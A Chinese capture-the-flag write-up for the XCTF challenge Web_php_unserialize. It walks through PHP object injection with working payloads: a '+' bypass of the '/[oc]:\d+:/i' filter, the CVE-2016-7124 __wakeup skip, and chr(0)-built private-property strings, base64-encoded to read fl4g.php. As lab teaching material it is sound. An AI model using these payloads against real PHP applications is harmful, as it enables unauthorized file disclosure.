刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)

刚开始遇到题目的时候,思路还是很明确。

原题入口:攻防世界 (xctf.org.cn) 中的 Web_php_unserialize

两个函数

php 复制代码
serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

首先看到 **unserialize()**可以知道基本上能得知突破口在 php 的反序列化问题上。

1、__construct()

触发:使用关键字new实例化对象时会自动调用构造方法3.

2.__desctruct()

触发:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

3.__wakeup

触发:反序列化恢复对象前调用该方法。

序列化对象:

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$d = new Demo("fl4g.php");
$er = serialize($d);
print($er);
?>

查看结果(为了方便看到调用哪个魔术方法。我自行在类中打印调用过程):

此时测试base64编码的值,会发现会被正则表达式检测到。

'/[oc]:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

\] 是定义匹配的字符范围 \[oc\]是匹配o或c任意一个 \[xyz\] 字符[集合](https://so.csdn.net/so/search?q=%E9%9B%86%E5%90%88&spm=1001.2101.3001.7020 "集合")。匹配所包含的任意一个字符。例如, '\[abc\]' 可以匹配 "plain" 中的 'a'。

常见绕过方式:利用+绕过。所以将POC改成

'O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}'

此时已经成功绕过了正则判断,但由于序列化对象会先执行__wakeup(),当 this 的 file 不为 index.php 的时候,会将 this->file 强行改为 index.php。所以需要绕过 __wakeup()。

漏洞:

PHP反序列化漏洞(cve-2016-7124)

漏洞版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞利用方法:

若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以构造的POC为:

'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}'

此时有个坑,就是这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。 (所以并不能直接复制粘贴取base64编码)

所以,我选择利用 php 自带的chr() 函数进行拼接,再利用 base64_encode() 得出结果。

关键语句:

php 复制代码
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

构造poc,生成最终的编码

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';
print($err.'的base64编码结果为:'.base64_encode($err).'<br>');
?>

查看结果:

最后将结果拼接在var参数中:

拿到flag。

相关推荐
智驱力人工智能21 分钟前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
猫头虎32 分钟前
如何排查并解决项目启动时报错Error encountered while processing: java.io.IOException: closed 的问题
java·开发语言·jvm·spring boot·python·开源·maven
数据与后端架构提升之路1 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
YUJIANYUE1 小时前
PHP纹路验证码
开发语言·php
仟濹1 小时前
【Java基础】多态 | 打卡day2
java·开发语言
孞㐑¥1 小时前
算法——BFS
开发语言·c++·经验分享·笔记·算法
Re.不晚1 小时前
JAVA进阶之路——无奖问答挑战2
java·开发语言
八零后琐话1 小时前
干货:程序员必备性能分析工具——Arthas火焰图
开发语言·python
3GPP仿真实验室1 小时前
【MATLAB源码】CORDIC-QR :基于Cordic硬件级矩阵QR分解
开发语言·matlab·矩阵
知南x1 小时前
【Ascend C系列课程(高级)】(1) 算子调试+调优
c语言·开发语言